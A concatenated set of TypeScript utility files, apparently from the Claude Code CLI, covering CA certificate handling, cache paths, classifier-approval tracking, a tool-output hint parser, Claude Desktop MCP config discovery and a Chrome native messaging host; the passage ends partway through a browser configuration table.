* - NODE_EXTRA_CA_CERTS only: bundled Mozilla CAs + extra cert file contents
* - --use-system-ca or --use-openssl-ca only: system CAs
* - --use-system-ca + NODE_EXTRA_CA_CERTS: system CAs + extra cert file contents
*
* Memoized for performance. Call clearCACertsCache() to invalidate after
* environment variable changes (e.g., after trust dialog applies settings.json).
*
* Reads ONLY `process.env.NODE_EXTRA_CA_CERTS`. `caCertsConfig.ts` populates
* that env var from settings.json at CLI init; this module stays config-free
* so `proxy.ts`/`mtls.ts` don't transitively pull in the command registry.
*/
export const getCACertificates = memoize((): string[] | undefined => {
const useSystemCA =
hasNodeOption('--use-system-ca') || hasNodeOption('--use-openssl-ca')
const extraCertsPath = process.env.NODE_EXTRA_CA_CERTS
logForDebugging(
`CA certs: useSystemCA=${useSystemCA}, extraCertsPath=${extraCertsPath}`,
)
// If neither is set, return undefined (use runtime defaults, no override)
if (!useSystemCA && !extraCertsPath) {
return undefined
}
// Deferred load: Bun's node:tls module eagerly materializes ~150 Mozilla
// root certificates (~750KB heap) on import, even if tls.rootCertificates
// is never accessed. Most users hit the early return above, so we only
// pay this cost when custom CA handling is actually needed.
/* eslint-disable @typescript-eslint/no-require-imports */
const tls = require('tls') as typeof import('tls')
/* eslint-enable @typescript-eslint/no-require-imports */
const certs: string[] = []
if (useSystemCA) {
// Load system CA store (Bun API)
const getCACerts = (
tls as typeof tls & { getCACertificates?: (type: string) => string[] }
).getCACertificates
const systemCAs = getCACerts?.('system')
if (systemCAs && systemCAs.length > 0) {
certs.push(...systemCAs)
logForDebugging(
`CA certs: Loaded ${certs.length} system CA certificates (--use-system-ca)`,
)
} else if (!getCACerts && !extraCertsPath) {
// Under Node.js where getCACertificates doesn't exist and no extra certs,
// return undefined to let Node.js handle --use-system-ca natively.
logForDebugging(
'CA certs: --use-system-ca set but system CA API unavailable, deferring to runtime',
)
return undefined
} else {
// System CA API returned empty or unavailable; fall back to bundled root certs
certs.push(...tls.rootCertificates)
logForDebugging(
`CA certs: Loaded ${certs.length} bundled root certificates as base (--use-system-ca fallback)`,
)
}
} else {
// Must include bundled Mozilla CAs as base since ca replaces defaults
certs.push(...tls.rootCertificates)
logForDebugging(
`CA certs: Loaded ${certs.length} bundled root certificates as base`,
)
}
// Append extra certs from file
if (extraCertsPath) {
try {
const extraCert = getFsImplementation().readFileSync(extraCertsPath, {
encoding: 'utf8',
})
certs.push(extraCert)
logForDebugging(
`CA certs: Appended extra certificates from NODE_EXTRA_CA_CERTS (${extraCertsPath})`,
)
} catch (error) {
logForDebugging(
`CA certs: Failed to read NODE_EXTRA_CA_CERTS file (${extraCertsPath}): ${error}`,
{ level: 'error' },
)
}
}
return certs.length > 0 ? certs : undefined
})
/**
* Clear the CA certificates cache.
* Call this when environment variables that affect CA certs may have changed
* (e.g., NODE_EXTRA_CA_CERTS, NODE_OPTIONS).
*/
export function clearCACertsCache(): void {
getCACertificates.cache.clear?.()
logForDebugging('Cleared CA certificates cache')
}

View File

@@ -0,0 +1,88 @@
/**
* Config/settings-backed NODE_EXTRA_CA_CERTS population for `caCerts.ts`.
*
* Split from `caCerts.ts` because `config.ts` → `file.ts` →
* `permissions/filesystem.ts` → `commands.ts` transitively pulls in ~5300
* modules (REPL, React, every slash command). `proxy.ts`/`mtls.ts` (and
* therefore anything using HTTPS through our proxy agent — WebSocketTransport,
* CCRClient, telemetry) must NOT depend on that graph, or the Agent SDK
* bundle (`connectRemoteControl` path) bloats from ~0.4 MB to ~10.8 MB.
*
* `getCACertificates()` only reads `process.env.NODE_EXTRA_CA_CERTS`. This
* module is the one place allowed to import `config.ts` to *populate* that
* env var at CLI startup. Only `init.ts` imports this file.
*/
import { getGlobalConfig } from './config.js'
import { logForDebugging } from './debug.js'
import { getSettingsForSource } from './settings/settings.js'
/**
* Apply NODE_EXTRA_CA_CERTS from settings.json to process.env early in init,
* BEFORE any TLS connections are made.
*
* Bun caches the TLS certificate store at process boot via BoringSSL.
* If NODE_EXTRA_CA_CERTS isn't set in the environment at boot, Bun won't
* include the custom CA cert. By setting it on process.env before any
* TLS connections, we give Bun a chance to pick it up (if the cert store
* is lazy-initialized) and ensure Node.js compatibility.
*
* This is safe to call before the trust dialog because we only read from
* user-controlled files (~/.claude/settings.json and ~/.claude.json),
* not from project-level settings.
*/
export function applyExtraCACertsFromConfig(): void {
if (process.env.NODE_EXTRA_CA_CERTS) {
return // Already set in environment, nothing to do
}
const configPath = getExtraCertsPathFromConfig()
if (configPath) {
process.env.NODE_EXTRA_CA_CERTS = configPath
logForDebugging(
`CA certs: Applied NODE_EXTRA_CA_CERTS from config to process.env: ${configPath}`,
)
}
}
/**
* Read NODE_EXTRA_CA_CERTS from settings/config as a fallback.
*
* NODE_EXTRA_CA_CERTS is categorized as a non-safe env var (it allows
* trusting attacker-controlled servers), so it's only applied to process.env
* after the trust dialog. But we need the CA cert early to establish the TLS
* connection to an HTTPS proxy during init().
*
* We read from global config (~/.claude.json) and user settings
* (~/.claude/settings.json). These are user-controlled files that don't
* require trust approval.
*/
function getExtraCertsPathFromConfig(): string | undefined {
try {
const globalConfig = getGlobalConfig()
const globalEnv = globalConfig?.env
// Only read from user-controlled settings (~/.claude/settings.json),
// not project-level settings, to prevent malicious projects from
// injecting CA certs before the trust dialog.
const settings = getSettingsForSource('userSettings')
const settingsEnv = settings?.env
logForDebugging(
`CA certs: Config fallback - globalEnv keys: ${globalEnv ? Object.keys(globalEnv).join(',') : 'none'}, settingsEnv keys: ${settingsEnv ? Object.keys(settingsEnv).join(',') : 'none'}`,
)
// Settings override global config (same precedence as applyConfigEnvironmentVariables)
const path =
settingsEnv?.NODE_EXTRA_CA_CERTS || globalEnv?.NODE_EXTRA_CA_CERTS
if (path) {
logForDebugging(
`CA certs: Found NODE_EXTRA_CA_CERTS in config/settings: ${path}`,
)
}
return path
} catch (error) {
logForDebugging(`CA certs: Config fallback failed: ${error}`, {
level: 'error',
})
return undefined
}
}

38
src/utils/cachePaths.ts Normal file
View File

@@ -0,0 +1,38 @@
import envPaths from 'env-paths'
import { join } from 'path'
import { getFsImplementation } from './fsOperations.js'
import { djb2Hash } from './hash.js'
const paths = envPaths('claude-cli')
// Local sanitizePath using djb2Hash — NOT the shared version from
// sessionStoragePortable.ts which uses Bun.hash (wyhash) when available.
// Cache directory names must remain stable across upgrades so existing cache
// data (error logs, MCP logs) is not orphaned.
const MAX_SANITIZED_LENGTH = 200
function sanitizePath(name: string): string {
const sanitized = name.replace(/[^a-zA-Z0-9]/g, '-')
if (sanitized.length <= MAX_SANITIZED_LENGTH) {
return sanitized
}
return `${sanitized.slice(0, MAX_SANITIZED_LENGTH)}-${Math.abs(djb2Hash(name)).toString(36)}`
}
function getProjectDir(cwd: string): string {
return sanitizePath(cwd)
}
export const CACHE_PATHS = {
baseLogs: () => join(paths.cache, getProjectDir(getFsImplementation().cwd())),
errors: () =>
join(paths.cache, getProjectDir(getFsImplementation().cwd()), 'errors'),
messages: () =>
join(paths.cache, getProjectDir(getFsImplementation().cwd()), 'messages'),
mcpLogs: (serverName: string) =>
join(
paths.cache,
getProjectDir(getFsImplementation().cwd()),
// Sanitize server name for Windows compatibility (colons are reserved for drive letters)
`mcp-logs-${sanitizePath(serverName)}`,
),
}

28
src/utils/cch.ts Executable file
View File

@@ -0,0 +1,28 @@
import xxhash from 'xxhash-wasm'
const CCH_SEED = 0x6E52736AC806831En
const CCH_PLACEHOLDER = 'cch=00000'
const CCH_MASK = 0xFFFFFn
let hasherPromise: ReturnType<typeof xxhash> | null = null
function getHasher() {
if (!hasherPromise) {
hasherPromise = xxhash()
}
return hasherPromise
}
export async function computeCch(body: string): Promise<string> {
const hasher = await getHasher()
const hash = hasher.h64Raw(new TextEncoder().encode(body), CCH_SEED)
return (hash & CCH_MASK).toString(16).padStart(5, '0')
}
export function replaceCchPlaceholder(body: string, cch: string): string {
return body.replace(CCH_PLACEHOLDER, `cch=${cch}`)
}
export function hasCchPlaceholder(body: string): boolean {
return body.includes(CCH_PLACEHOLDER)
}

View File

@@ -0,0 +1,88 @@
/**
* Tracks which tool uses were auto-approved by classifiers.
* Populated from useCanUseTool.ts and permissions.ts, read from UserToolSuccessMessage.tsx.
*/
import { feature } from 'bun:bundle'
import { createSignal } from './signal.js'
type ClassifierApproval = {
classifier: 'bash' | 'auto-mode'
matchedRule?: string
reason?: string
}
const CLASSIFIER_APPROVALS = new Map<string, ClassifierApproval>()
const CLASSIFIER_CHECKING = new Set<string>()
const classifierChecking = createSignal()
export function setClassifierApproval(
toolUseID: string,
matchedRule: string,
): void {
if (!feature('BASH_CLASSIFIER')) {
return
}
CLASSIFIER_APPROVALS.set(toolUseID, {
classifier: 'bash',
matchedRule,
})
}
export function getClassifierApproval(toolUseID: string): string | undefined {
if (!feature('BASH_CLASSIFIER')) {
return undefined
}
const approval = CLASSIFIER_APPROVALS.get(toolUseID)
if (!approval || approval.classifier !== 'bash') return undefined
return approval.matchedRule
}
export function setYoloClassifierApproval(
toolUseID: string,
reason: string,
): void {
if (!feature('TRANSCRIPT_CLASSIFIER')) {
return
}
CLASSIFIER_APPROVALS.set(toolUseID, { classifier: 'auto-mode', reason })
}
export function getYoloClassifierApproval(
toolUseID: string,
): string | undefined {
if (!feature('TRANSCRIPT_CLASSIFIER')) {
return undefined
}
const approval = CLASSIFIER_APPROVALS.get(toolUseID)
if (!approval || approval.classifier !== 'auto-mode') return undefined
return approval.reason
}
export function setClassifierChecking(toolUseID: string): void {
if (!feature('BASH_CLASSIFIER') && !feature('TRANSCRIPT_CLASSIFIER')) return
CLASSIFIER_CHECKING.add(toolUseID)
classifierChecking.emit()
}
export function clearClassifierChecking(toolUseID: string): void {
if (!feature('BASH_CLASSIFIER') && !feature('TRANSCRIPT_CLASSIFIER')) return
CLASSIFIER_CHECKING.delete(toolUseID)
classifierChecking.emit()
}
export const subscribeClassifierChecking = classifierChecking.subscribe
export function isClassifierChecking(toolUseID: string): boolean {
return CLASSIFIER_CHECKING.has(toolUseID)
}
export function deleteClassifierApproval(toolUseID: string): void {
CLASSIFIER_APPROVALS.delete(toolUseID)
}
export function clearClassifierApprovals(): void {
CLASSIFIER_APPROVALS.clear()
CLASSIFIER_CHECKING.clear()
classifierChecking.emit()
}

View File

@@ -0,0 +1,17 @@
/**
* React hook for classifierApprovals store.
* Split from classifierApprovals.ts so pure-state importers (permissions.ts,
* toolExecution.ts, postCompactCleanup.ts) do not pull React into print.ts.
*/
import { useSyncExternalStore } from 'react'
import {
isClassifierChecking,
subscribeClassifierChecking,
} from './classifierApprovals.js'
export function useIsClassifierChecking(toolUseID: string): boolean {
return useSyncExternalStore(subscribeClassifierChecking, () =>
isClassifierChecking(toolUseID),
)
}

View File

@@ -0,0 +1,193 @@
/**
* Claude Code hints protocol.
*
* CLIs and SDKs running under Claude Code can emit a self-closing
* `<claude-code-hint />` tag to stderr (merged into stdout by the shell
* tools). The harness scans tool output for these tags, strips them before
* the output reaches the model, and surfaces an install prompt to the
* user — no inference, no proactive execution.
*
* This file provides both the parser and a small module-level store for
* the pending hint. The store is a single slot (not a queue) — we surface
* at most one prompt per session, so there's no reason to accumulate.
* React subscribes via useSyncExternalStore.
*
* See docs/claude-code-hints.md for the vendor-facing spec.
*/
import { logForDebugging } from './debug.js'
import { createSignal } from './signal.js'
export type ClaudeCodeHintType = 'plugin'
export type ClaudeCodeHint = {
/** Spec version declared by the emitter. Unknown versions are dropped. */
v: number
/** Hint discriminator. v1 defines only `plugin`. */
type: ClaudeCodeHintType
/**
* Hint payload. For `type: 'plugin'`: a `name@marketplace` slug
* matching the form accepted by `parsePluginIdentifier`.
*/
value: string
/**
* First token of the shell command that produced this hint. Shown in the
* install prompt so the user can spot a mismatch between the tool that
* emitted the hint and the plugin it recommends.
*/
sourceCommand: string
}
/** Spec versions this harness understands. */
const SUPPORTED_VERSIONS = new Set([1])
/** Hint types this harness understands at the supported versions. */
const SUPPORTED_TYPES = new Set<string>(['plugin'])
/**
* Outer tag match. Anchored to whole lines (multiline mode) so that a
* hint marker buried in a larger line — e.g. a log statement quoting the
* tag — is ignored. Leading and trailing whitespace on the line is
* tolerated since some SDKs pad stderr.
*/
const HINT_TAG_RE = /^[ \t]*<claude-code-hint\s+([^>]*?)\s*\/>[ \t]*$/gm
/**
* Attribute matcher. Accepts `key="value"` and `key=value` (terminated by
* whitespace or `/>` closing sequence). Values containing whitespace or `"` must use the quoted
* form. The quoted form does not support escape sequences; raise the spec
* version if that becomes necessary.
*/
const ATTR_RE = /(\w+)=(?:"([^"]*)"|([^\s/>]+))/g
/**
* Scan shell tool output for hint tags, returning the parsed hints and
* the output with hint lines removed. The stripped output is what the
* model sees — hints are a harness-only side channel.
*
* @param output - Raw command output (stdout with stderr interleaved).
* @param command - The command that produced the output; its first
* whitespace-separated token is recorded as `sourceCommand`.
*/
export function extractClaudeCodeHints(
output: string,
command: string,
): { hints: ClaudeCodeHint[]; stripped: string } {
// Fast path: no tag open sequence → no work, no allocation.
if (!output.includes('<claude-code-hint')) {
return { hints: [], stripped: output }
}
const sourceCommand = firstCommandToken(command)
const hints: ClaudeCodeHint[] = []
const stripped = output.replace(HINT_TAG_RE, rawLine => {
const attrs = parseAttrs(rawLine)
const v = Number(attrs.v)
const type = attrs.type
const value = attrs.value
if (!SUPPORTED_VERSIONS.has(v)) {
logForDebugging(
`[claudeCodeHints] dropped hint with unsupported v=${attrs.v}`,
)
return ''
}
if (!type || !SUPPORTED_TYPES.has(type)) {
logForDebugging(
`[claudeCodeHints] dropped hint with unsupported type=${type}`,
)
return ''
}
if (!value) {
logForDebugging('[claudeCodeHints] dropped hint with empty value')
return ''
}
hints.push({ v, type: type as ClaudeCodeHintType, value, sourceCommand })
return ''
})
// Dropping a matched line leaves a blank line (the surrounding newlines
// remain). Collapse runs of blank lines introduced by the replace so the
// model-visible output doesn't grow vertical whitespace.
const collapsed =
hints.length > 0 || stripped !== output
? stripped.replace(/\n{3,}/g, '\n\n')
: stripped
return { hints, stripped: collapsed }
}
function parseAttrs(tagBody: string): Record<string, string> {
const attrs: Record<string, string> = {}
for (const m of tagBody.matchAll(ATTR_RE)) {
attrs[m[1]!] = m[2] ?? m[3] ?? ''
}
return attrs
}
function firstCommandToken(command: string): string {
const trimmed = command.trim()
const spaceIdx = trimmed.search(/\s/)
return spaceIdx === -1 ? trimmed : trimmed.slice(0, spaceIdx)
}
// ============================================================================
// Pending-hint store (useSyncExternalStore interface)
//
// Single-slot: write wins if the slot is already full (a CLI that emits on
// every invocation would otherwise pile up). The dialog is shown at most
// once per session; after that, setPendingHint becomes a no-op.
//
// Callers should gate before writing (installed? already shown? cap hit?) —
// see maybeRecordPluginHint in hintRecommendation.ts for the plugin-type
// gate. This module stays plugin-agnostic so future hint types can reuse
// the same store.
// ============================================================================
let pendingHint: ClaudeCodeHint | null = null
let shownThisSession = false
const pendingHintChanged = createSignal()
const notify = pendingHintChanged.emit
/** Raw store write. Callers should gate first (see module comment). */
export function setPendingHint(hint: ClaudeCodeHint): void {
if (shownThisSession) return
pendingHint = hint
notify()
}
/** Clear the slot without flipping the session flag — for rejected hints. */
export function clearPendingHint(): void {
if (pendingHint !== null) {
pendingHint = null
notify()
}
}
/** Flip the once-per-session flag. Call only when a dialog is actually shown. */
export function markShownThisSession(): void {
shownThisSession = true
}
export const subscribeToPendingHint = pendingHintChanged.subscribe
export function getPendingHintSnapshot(): ClaudeCodeHint | null {
return pendingHint
}
export function hasShownHintThisSession(): boolean {
return shownThisSession
}
/** Test-only reset. */
export function _resetClaudeCodeHintStore(): void {
pendingHint = null
shownThisSession = false
}
export const _test = {
parseAttrs,
firstCommandToken,
}

152
src/utils/claudeDesktop.ts Normal file
View File

@@ -0,0 +1,152 @@
import { readdir, readFile, stat } from 'fs/promises'
import { homedir } from 'os'
import { join } from 'path'
import {
type McpServerConfig,
McpStdioServerConfigSchema,
} from '../services/mcp/types.js'
import { getErrnoCode } from './errors.js'
import { safeParseJSON } from './json.js'
import { logError } from './log.js'
import { getPlatform, SUPPORTED_PLATFORMS } from './platform.js'
export async function getClaudeDesktopConfigPath(): Promise<string> {
const platform = getPlatform()
if (!SUPPORTED_PLATFORMS.includes(platform)) {
throw new Error(
`Unsupported platform: ${platform} - Claude Desktop integration only works on macOS and WSL.`,
)
}
if (platform === 'macos') {
return join(
homedir(),
'Library',
'Application Support',
'Claude',
'claude_desktop_config.json',
)
}
// First, try using USERPROFILE environment variable if available
const windowsHome = process.env.USERPROFILE
? process.env.USERPROFILE.replace(/\\/g, '/') // Convert Windows backslashes to forward slashes
: null
if (windowsHome) {
// Remove drive letter and convert to WSL path format
const wslPath = windowsHome.replace(/^[A-Z]:/, '')
const configPath = `/mnt/c${wslPath}/AppData/Roaming/Claude/claude_desktop_config.json`
// Check if the file exists
try {
await stat(configPath)
return configPath
} catch {
// File doesn't exist, continue
}
}
// Alternative approach - try to construct path based on typical Windows user location
try {
// List the /mnt/c/Users directory to find potential user directories
const usersDir = '/mnt/c/Users'
try {
const userDirs = await readdir(usersDir, { withFileTypes: true })
// Look for Claude Desktop config in each user directory
for (const user of userDirs) {
if (
user.name === 'Public' ||
user.name === 'Default' ||
user.name === 'Default User' ||
user.name === 'All Users'
) {
continue // Skip system directories
}
const potentialConfigPath = join(
usersDir,
user.name,
'AppData',
'Roaming',
'Claude',
'claude_desktop_config.json',
)
try {
await stat(potentialConfigPath)
return potentialConfigPath
} catch {
// File doesn't exist, continue
}
}
} catch {
// usersDir doesn't exist or can't be read
}
} catch (dirError) {
logError(dirError)
}
throw new Error(
'Could not find Claude Desktop config file in Windows. Make sure Claude Desktop is installed on Windows.',
)
}
export async function readClaudeDesktopMcpServers(): Promise<
Record<string, McpServerConfig>
> {
if (!SUPPORTED_PLATFORMS.includes(getPlatform())) {
throw new Error(
'Unsupported platform - Claude Desktop integration only works on macOS and WSL.',
)
}
try {
const configPath = await getClaudeDesktopConfigPath()
let configContent: string
try {
configContent = await readFile(configPath, { encoding: 'utf8' })
} catch (e: unknown) {
const code = getErrnoCode(e)
if (code === 'ENOENT') {
return {}
}
throw e
}
const config = safeParseJSON(configContent)
if (!config || typeof config !== 'object') {
return {}
}
const mcpServers = (config as Record<string, unknown>).mcpServers
if (!mcpServers || typeof mcpServers !== 'object') {
return {}
}
const servers: Record<string, McpServerConfig> = {}
for (const [name, serverConfig] of Object.entries(
mcpServers as Record<string, unknown>,
)) {
if (!serverConfig || typeof serverConfig !== 'object') {
continue
}
const result = McpStdioServerConfigSchema().safeParse(serverConfig)
if (result.success) {
servers[name] = result.data
}
}
return servers
} catch (error) {
logError(error)
return {}
}
}

View File

@@ -0,0 +1,527 @@
// biome-ignore-all lint/suspicious/noConsole: file uses console intentionally
/**
* Chrome Native Host - Pure TypeScript Implementation
*
* This module provides the Chrome native messaging host functionality,
* previously implemented as a Rust NAPI binding but now in pure TypeScript.
*/
import {
appendFile,
chmod,
mkdir,
readdir,
rmdir,
stat,
unlink,
} from 'fs/promises'
import { createServer, type Server, type Socket } from 'net'
import { homedir, platform } from 'os'
import { join } from 'path'
import { z } from 'zod'
import { lazySchema } from '../lazySchema.js'
import { jsonParse, jsonStringify } from '../slowOperations.js'
import { getSecureSocketPath, getSocketDir } from './common.js'
const VERSION = '1.0.0'
const MAX_MESSAGE_SIZE = 1024 * 1024 // 1MB - Max message size that can be sent to Chrome
const LOG_FILE =
process.env.USER_TYPE === 'ant'
? join(homedir(), '.claude', 'debug', 'chrome-native-host.txt')
: undefined
function log(message: string, ...args: unknown[]): void {
if (LOG_FILE) {
const timestamp = new Date().toISOString()
const formattedArgs = args.length > 0 ? ' ' + jsonStringify(args) : ''
const logLine = `[${timestamp}] [Claude Chrome Native Host] ${message}${formattedArgs}\n`
// Fire-and-forget: logging is best-effort and callers (including event
// handlers) don't await
void appendFile(LOG_FILE, logLine).catch(() => {
// Ignore file write errors
})
}
console.error(`[Claude Chrome Native Host] ${message}`, ...args)
}
/**
* Send a message to stdout (Chrome native messaging protocol)
*/
export function sendChromeMessage(message: string): void {
const jsonBytes = Buffer.from(message, 'utf-8')
const lengthBuffer = Buffer.alloc(4)
lengthBuffer.writeUInt32LE(jsonBytes.length, 0)
process.stdout.write(lengthBuffer)
process.stdout.write(jsonBytes)
}
export async function runChromeNativeHost(): Promise<void> {
log('Initializing...')
const host = new ChromeNativeHost()
const messageReader = new ChromeMessageReader()
// Start the native host server
await host.start()
// Process messages from Chrome until stdin closes
// eslint-disable-next-line @typescript-eslint/no-unnecessary-condition
while (true) {
const message = await messageReader.read()
if (message === null) {
// stdin closed, Chrome disconnected
break
}
await host.handleMessage(message)
}
// Stop the server
await host.stop()
}
const messageSchema = lazySchema(() =>
z
.object({
type: z.string(),
})
.passthrough(),
)
type ToolRequest = {
method: string
params?: unknown
}
type McpClient = {
id: number
socket: Socket
buffer: Buffer
}
class ChromeNativeHost {
private mcpClients = new Map<number, McpClient>()
private nextClientId = 1
private server: Server | null = null
private running = false
private socketPath: string | null = null
async start(): Promise<void> {
if (this.running) {
return
}
this.socketPath = getSecureSocketPath()
if (platform() !== 'win32') {
const socketDir = getSocketDir()
// Migrate legacy socket: if socket dir path exists as a file/socket, remove it
try {
const dirStats = await stat(socketDir)
if (!dirStats.isDirectory()) {
await unlink(socketDir)
}
} catch {
// Doesn't exist, that's fine
}
// Create socket directory with secure permissions
await mkdir(socketDir, { recursive: true, mode: 0o700 })
// Fix perms if directory already existed
await chmod(socketDir, 0o700).catch(() => {
// Ignore
})
// Clean up stale sockets
try {
const files = await readdir(socketDir)
for (const file of files) {
if (!file.endsWith('.sock')) {
continue
}
const pid = parseInt(file.replace('.sock', ''), 10)
if (isNaN(pid)) {
continue
}
try {
process.kill(pid, 0)
// Process is alive, leave it
} catch {
// Process is dead, remove stale socket
await unlink(join(socketDir, file)).catch(() => {
// Ignore
})
log(`Removed stale socket for PID ${pid}`)
}
}
} catch {
// Ignore errors scanning directory
}
}
log(`Creating socket listener: ${this.socketPath}`)
this.server = createServer(socket => this.handleMcpClient(socket))
await new Promise<void>((resolve, reject) => {
this.server!.listen(this.socketPath!, () => {
log('Socket server listening for connections')
this.running = true
resolve()
})
this.server!.on('error', err => {
log('Socket server error:', err)
reject(err)
})
})
// Set permissions on Unix (after listen resolves so socket file exists)
if (platform() !== 'win32') {
try {
await chmod(this.socketPath!, 0o600)
log('Socket permissions set to 0600')
} catch (e) {
log('Failed to set socket permissions:', e)
}
}
}
async stop(): Promise<void> {
if (!this.running) {
return
}
// Close all MCP clients
for (const [, client] of this.mcpClients) {
client.socket.destroy()
}
this.mcpClients.clear()
// Close server
if (this.server) {
await new Promise<void>(resolve => {
this.server!.close(() => resolve())
})
this.server = null
}
// Cleanup socket file
if (platform() !== 'win32' && this.socketPath) {
try {
await unlink(this.socketPath)
log('Cleaned up socket file')
} catch {
// ENOENT is fine, ignore
}
// Remove directory if empty
try {
const socketDir = getSocketDir()
const remaining = await readdir(socketDir)
if (remaining.length === 0) {
await rmdir(socketDir)
log('Removed empty socket directory')
}
} catch {
// Ignore
}
}
this.running = false
}
async isRunning(): Promise<boolean> {
return this.running
}
async getClientCount(): Promise<number> {
return this.mcpClients.size
}
async handleMessage(messageJson: string): Promise<void> {
let rawMessage: unknown
try {
rawMessage = jsonParse(messageJson)
} catch (e) {
log('Invalid JSON from Chrome:', (e as Error).message)
sendChromeMessage(
jsonStringify({
type: 'error',
error: 'Invalid message format',
}),
)
return
}
const parsed = messageSchema().safeParse(rawMessage)
if (!parsed.success) {
log('Invalid message from Chrome:', parsed.error.message)
sendChromeMessage(
jsonStringify({
type: 'error',
error: 'Invalid message format',
}),
)
return
}
const message = parsed.data
log(`Handling Chrome message type: ${message.type}`)
switch (message.type) {
case 'ping':
log('Responding to ping')
sendChromeMessage(
jsonStringify({
type: 'pong',
timestamp: Date.now(),
}),
)
break
case 'get_status':
sendChromeMessage(
jsonStringify({
type: 'status_response',
native_host_version: VERSION,
}),
)
break
case 'tool_response': {
if (this.mcpClients.size > 0) {
log(`Forwarding tool response to ${this.mcpClients.size} MCP clients`)
// Extract the data portion (everything except 'type')
const { type: _, ...data } = message
const responseData = Buffer.from(jsonStringify(data), 'utf-8')
const lengthBuffer = Buffer.alloc(4)
lengthBuffer.writeUInt32LE(responseData.length, 0)
const responseMsg = Buffer.concat([lengthBuffer, responseData])
for (const [id, client] of this.mcpClients) {
try {
client.socket.write(responseMsg)
} catch (e) {
log(`Failed to send to MCP client ${id}:`, e)
}
}
}
break
}
case 'notification': {
if (this.mcpClients.size > 0) {
log(`Forwarding notification to ${this.mcpClients.size} MCP clients`)
// Extract the data portion (everything except 'type')
const { type: _, ...data } = message
const notificationData = Buffer.from(jsonStringify(data), 'utf-8')
const lengthBuffer = Buffer.alloc(4)
lengthBuffer.writeUInt32LE(notificationData.length, 0)
const notificationMsg = Buffer.concat([
lengthBuffer,
notificationData,
])
for (const [id, client] of this.mcpClients) {
try {
client.socket.write(notificationMsg)
} catch (e) {
log(`Failed to send notification to MCP client ${id}:`, e)
}
}
}
break
}
default:
log(`Unknown message type: ${message.type}`)
sendChromeMessage(
jsonStringify({
type: 'error',
error: `Unknown message type: ${message.type}`,
}),
)
}
}
private handleMcpClient(socket: Socket): void {
const clientId = this.nextClientId++
const client: McpClient = {
id: clientId,
socket,
buffer: Buffer.alloc(0),
}
this.mcpClients.set(clientId, client)
log(
`MCP client ${clientId} connected. Total clients: ${this.mcpClients.size}`,
)
// Notify Chrome of connection
sendChromeMessage(
jsonStringify({
type: 'mcp_connected',
}),
)
socket.on('data', (data: Buffer) => {
client.buffer = Buffer.concat([client.buffer, data])
// Process complete messages
while (client.buffer.length >= 4) {
const length = client.buffer.readUInt32LE(0)
if (length === 0 || length > MAX_MESSAGE_SIZE) {
log(`Invalid message length from MCP client ${clientId}: ${length}`)
socket.destroy()
return
}
if (client.buffer.length < 4 + length) {
break // Wait for more data
}
const messageBytes = client.buffer.slice(4, 4 + length)
client.buffer = client.buffer.slice(4 + length)
try {
const request = jsonParse(
messageBytes.toString('utf-8'),
) as ToolRequest
log(
`Forwarding tool request from MCP client ${clientId}: ${request.method}`,
)
// Forward to Chrome
sendChromeMessage(
jsonStringify({
type: 'tool_request',
method: request.method,
params: request.params,
}),
)
} catch (e) {
log(`Failed to parse tool request from MCP client ${clientId}:`, e)
}
}
})
socket.on('error', err => {
log(`MCP client ${clientId} error: ${err}`)
})
socket.on('close', () => {
log(
`MCP client ${clientId} disconnected. Remaining clients: ${this.mcpClients.size - 1}`,
)
this.mcpClients.delete(clientId)
// Notify Chrome of disconnection
sendChromeMessage(
jsonStringify({
type: 'mcp_disconnected',
}),
)
})
}
}
/**
* Chrome message reader using async stdin. Synchronous reads can crash Bun, so we use
* async reads with a buffer.
*/
class ChromeMessageReader {
private buffer = Buffer.alloc(0)
private pendingResolve: ((value: string | null) => void) | null = null
private closed = false
constructor() {
process.stdin.on('data', (chunk: Buffer) => {
this.buffer = Buffer.concat([this.buffer, chunk])
this.tryProcessMessage()
})
process.stdin.on('end', () => {
this.closed = true
if (this.pendingResolve) {
this.pendingResolve(null)
this.pendingResolve = null
}
})
process.stdin.on('error', () => {
this.closed = true
if (this.pendingResolve) {
this.pendingResolve(null)
this.pendingResolve = null
}
})
}
private tryProcessMessage(): void {
if (!this.pendingResolve) {
return
}
// Need at least 4 bytes for length prefix
if (this.buffer.length < 4) {
return
}
const length = this.buffer.readUInt32LE(0)
if (length === 0 || length > MAX_MESSAGE_SIZE) {
log(`Invalid message length: ${length}`)
this.pendingResolve(null)
this.pendingResolve = null
return
}
// Check if we have the full message
if (this.buffer.length < 4 + length) {
return // Wait for more data
}
// Extract the message
const messageBytes = this.buffer.subarray(4, 4 + length)
this.buffer = this.buffer.subarray(4 + length)
const message = messageBytes.toString('utf-8')
this.pendingResolve(message)
this.pendingResolve = null
}
async read(): Promise<string | null> {
if (this.closed) {
return null
}
// Check if we already have a complete message buffered
if (this.buffer.length >= 4) {
const length = this.buffer.readUInt32LE(0)
if (
length > 0 &&
length <= MAX_MESSAGE_SIZE &&
this.buffer.length >= 4 + length
) {
const messageBytes = this.buffer.subarray(4, 4 + length)
this.buffer = this.buffer.subarray(4 + length)
return messageBytes.toString('utf-8')
}
}
// Wait for more data
return new Promise(resolve => {
this.pendingResolve = resolve
// In case data arrived between check and setting pendingResolve
this.tryProcessMessage()
})
}
}

View File

@@ -0,0 +1,540 @@
import { readdirSync } from 'fs'
import { stat } from 'fs/promises'
import { homedir, platform, tmpdir, userInfo } from 'os'
import { join } from 'path'
import { normalizeNameForMCP } from '../../services/mcp/normalization.js'
import { logForDebugging } from '../debug.js'
import { isFsInaccessible } from '../errors.js'
import { execFileNoThrow } from '../execFileNoThrow.js'
import { getPlatform } from '../platform.js'
import { which } from '../which.js'
export const CLAUDE_IN_CHROME_MCP_SERVER_NAME = 'claude-in-chrome'
// Re-export ChromiumBrowser type for setup.ts
export type { ChromiumBrowser } from './setupPortable.js'
// Import for local use
import type { ChromiumBrowser } from './setupPortable.js'
type BrowserConfig = {
name: string
macos: {
appName: string
dataPath: string[]
nativeMessagingPath: string[]
}
linux: {
binaries: string[]
dataPath: string[]
nativeMessagingPath: string[]
}
windows: {
dataPath: string[]
registryKey: string
useRoaming?: boolean // Opera uses Roaming instead of Local
}
}
export const CHROMIUM_BROWSERS: Record<ChromiumBrowser, BrowserConfig> = {
chrome: {
name: 'Google Chrome',
macos: {
appName: 'Google Chrome',
dataPath: ['Library', 'Application Support', 'Google', 'Chrome'],
nativeMessagingPath: [
'Library',
'Application Support',
'Google',
'Chrome',
'NativeMessagingHosts',
],
},
linux: {
binaries: ['google-chrome', 'google-chrome-stable'],
dataPath: ['.config', 'google-chrome'],
